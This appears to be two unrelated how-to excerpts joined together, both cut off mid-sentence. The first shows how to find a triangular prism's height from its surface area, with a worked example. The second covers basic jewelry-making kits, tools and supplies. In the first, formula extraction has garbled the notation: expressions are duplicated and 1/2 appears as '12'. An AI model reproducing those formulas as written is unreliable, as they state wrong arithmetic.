The formula for the surface area of any prism is SA=2B+Ph{\displaystyle SA=2B+Ph}, where SA{\displaystyle SA} equals the surface area, B{\displaystyle B} equals the area of the base, P{\displaystyle P} equals the perimeter of the base, and h{\displaystyle h} equals the height of the prism. In order for this method to work you must know the surface area of the prism, as well as the area of the triangular base, and the length of all three sides of the base. If you do not know the surface area, this method will not work. For example, if you know the surface area is 1460 square centimeters, your formula will look like this:1460=2B+Ph{\displaystyle 1460=2B+Ph} To find the area, you need to know the length of the triangle’s base and the height of the triangle. Use the formula A=12(b)(h){\displaystyle A={\frac {1}{2}}(b)(h)}. To find the area of a triangle.  Alternatively, if you know the length of all three sides of a triangle, you can find the area using Heron’s formula.  Read Calculate the Area of a Triangle for complete instructions. For example, if the base of the triangle is 8 centimeters, and the height of the triangle is 4 centimeters, to find the area you would calculate:A=12(8)(4){\displaystyle A={\frac {1}{2}}(8)(4)}A=12(32){\displaystyle A={\frac {1}{2}}(32)}A=16{\displaystyle A=16} Make sure you are substituting for the letter B{\displaystyle B}. For example, if you found the area of the base to be 16, your formula will look like this:1460=2(16)+Ph{\displaystyle 1460=2(16)+Ph}1460=32+Ph{\displaystyle 1460=32+Ph} To find the perimeter of a triangle, add up the length of all three sides. For example, if the base is a triangle has three sides with lengths of 8, 4, and 9 centimeters, to find the perimeter you would calculate:P=8+4+9{\displaystyle P=8+4+9}P=21{\displaystyle P=21} Make sure you are substituting for the letter P{\displaystyle P}. For example, if you found the perimeter of the base to be 21, your formula will look like this:1460=32+21h{\displaystyle 1460=32+21h} This will give you the height of...

TL;DR in English: Set up the formula for the surface area of a prism. Plug the surface area of the prism into the formula. Find the area of the base. Plug the area of the base into the formula for the surface area of a prism and simplify. Find the perimeter of the base. Plug the perimeter of the base into the formula for the surface area of a prism. Solve the equation for h{\displaystyle h}.
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For an easy transition into jewelry making, visit your local craft store and buy a jewelry making kit. Jewelry making kits provide you with basic supplies and tools that allow you to customize different jewelry pieces and make them all your own. Most kits come with some basic instructions with different jewelry ideas, but you can use your imagination to create whatever kind of jewelry you want.  There are many variations of jewelry making kits depending on what specific kind of jewelry you want to make. For example, there are beading jewelry kits, stringing jewelry kits, and wire jewelry kits, just to name a few. Because there is such a variety in possible pieces of jewelry (necklaces, bracelets, earrings), made out of many possible materials (beads, wire, string, resin, paper, etc.), pick out a material and piece of jewelry you want to work on making. Find inspiration by visiting jewelry stores or looking online at social platforms, visual organizational websites, or jewelry retailer websites. Depending on what kind of jewelry you plan to make, you’ll probably need some basic tools to complete your project. Some basic tools all beginners should consider having include:  A variety of pliers – round nose pliers, chain nose pliers, step jaw pliers, bent closing pliers, and nylon jaw pliers A metal ruler that measures both centimeters and inches Wire cutters Practice wire, to practice bending and shaping you wire before you attempt to bend your more expensive wire for your actual project Peg boards for bending wire Handmade jewelry can be crafted with many different kinds of supplies, but there are a few basic supplies that are used on most handmade jewelry pieces. Jewelry kits can provide you with general or project specific supplies, but if you plan to start making jewelry without using a kit, you need to purchase some supplies on your own. Consider buying some:  Beads Jewelry wire in common gauge sizes (18, 20, and 22); 20 gauge is best for beginners Clasps and closures Jump rings In order to determine how...

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